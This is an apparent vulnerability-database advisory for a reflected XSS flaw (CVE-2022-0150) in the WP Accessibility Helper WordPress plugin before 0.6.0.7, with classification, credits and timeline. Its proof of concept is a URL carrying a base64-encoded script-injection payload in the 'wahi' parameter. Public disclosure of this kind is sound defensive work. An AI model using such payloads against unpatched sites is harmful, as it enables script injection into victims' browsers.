WordPress Plugin Vulnerabilities

WP Accessibility Helper (WAH) < 0.6.0.7 - Reflected Cross-Site Scripting (XSS)

Description

The plugin does not sanitise and escape the wahi parameter before outputting back its base64 decode value in the page, leading to a Reflected Cross-Site Scripting issue

Proof of Concept

https://example.com/?wahi=JzthbGVydCgxKTsvLw==

Affects Plugins

Plugin icon
wp-accessibility-helper
Fixed in 0.6.0.7

References

CVE
CVE-2022-0150
URL
https://plugins.trac.wordpress.org/changeset/2661008

Classification

Type
XSS
OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79
CVSS
6.1 (medium)

Miscellaneous

Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
https://kazet.cc/
Verified
Yes
WPVDB ID
7142a538-7c3d-4dd0-bd2c-cbd2efaf53c5

Timeline

Publicly Published
2022-01-26 (about 2 years ago)
Added
2022-01-26 (about 2 years ago)
Last Updated
2022-04-09 (about 2 years ago)

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